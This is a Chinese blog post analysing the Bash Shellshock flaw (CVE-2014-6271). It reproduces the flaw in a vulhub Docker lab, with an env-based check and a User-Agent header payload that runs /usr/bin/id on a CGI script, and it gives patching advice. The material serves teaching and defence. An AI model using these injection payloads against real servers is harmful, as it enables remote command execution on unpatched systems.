破壳漏洞分析

破壳”是Bash(GNU Bourne Again Shell)中出现的允许攻击者通过环境变量执行任意命令的漏洞。


漏洞名称

破壳漏洞(Bash Shellshock),CVE编号:2014-6271。

影响范围

GNU Bash 版本小于4.3
受影响的版本

Bash版本小于等于4.3版本
Red Hat Enterprise Linux 4 (ELS)
Red Hat Enterprise Linux 4 Extended Lifecycle Support - bash-3.0-27.el4.2
Red Hat Enterprise Linux 5 - bash-3.2-33.el5.1
Red Hat Enterprise Linux 5.6 Long Life - bash-3.2-24.el5_6.1
Red Hat Enterprise Linux 5.9 Extended Update Support - bash-3.2-32.el5_9.2
Red Hat Enterprise Linux 6 - bash-4.1.2-15.el6_5.1
Red Hat Enterprise Linux 6.2 Advanced Update Support - bash-4.1.2-9.el6_2.1
Red Hat Enterprise Linux 6.4 Extended Update Support - bash-4.1.2-15.el6_4.1
Red Hat Enterprise Linux 7 - bash-4.2.45-5.el7_0.2
CentOS 5 bash-3.2-33.el5.1
CentOS 6 bash-4.1.2-15.el6_5.1
CentOS 7 bash-4.2.45-5.el7_0.2
Ubuntu:
10.04
bash 4.1-2ubuntu3.1
12.04
bash 4.2-2ubuntu2.2
14.04
bash 4.3-7ubuntu1.1
Fedora:
19
bash-4.2.47-2.fc19
20
bash-4.2.47-4.fc20
21
bash-4.3.22-3.fc21
Debian:
4.1-3
4.1-3+deb6u1
4.2+dfsg-0.1
4.2+dfsg-0.1+deb7u1
4.3-9
4.3-9.1
Amazon Linux AMI
bash-4.1.2-15.19
Mac OS X
10.10

环境搭建

这里使用vulhub shellchock环境

cd /vulhub/bash/shellshock
docker-compose up -d   #启动

环境已搭建完成

漏洞复现

检验漏洞存在

docker exec -it shellshock_web_1 /bin/bash   #进入靶场环境

bash --version   #查看bash版本是否小于或等于4.3

env x='() { :;}; echo shellshocked' bash  -c "echo test"      # 简单的验证

出现shellshocked 字样 存在漏洞

具体利用条件

这里使用vulhub中的环境去利用该漏洞

vulhub生成两个界面:

bash 4.3版本
将payload附在User-Agent中访问victim.cgi:

User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id

新版bash
使用相同的payload,命令未执行

漏洞分析

在最初检测的payload中

env x='() { :;}; echo shellshocked' bash  -c "echo test"

这里是定义了一个环境变量x,它的内容是 () { :;}; echo shellshocked。

  • “(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。
  • 正常bash中,子进程无法获取父进程定义的变量值,但如果使用export去定义变量为环境变量,则可在子进程中使用这些变量。
  • bash -c 开启一个子shell 并执行后面comment参数

也就是说 最初检测的payload中,x在父进程中是一个字符串,并加入环境变量中。随后bash -c开启一个子shell,在子shell中,x是一个函数且为环境变量,可以执行命令。

我们在漏洞环境中验证猜想

漏洞存在的核心问题在于输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。(hello是全局环境变量且解析为函数)

漏洞修复

升级bash版本至4.3以上。
cgi等可能执行shell的中间件都需要对传入的参数进行控制。

posted @ 2020-09-08 10:51  how=time  阅读(920)  评论(0编辑  收藏  举报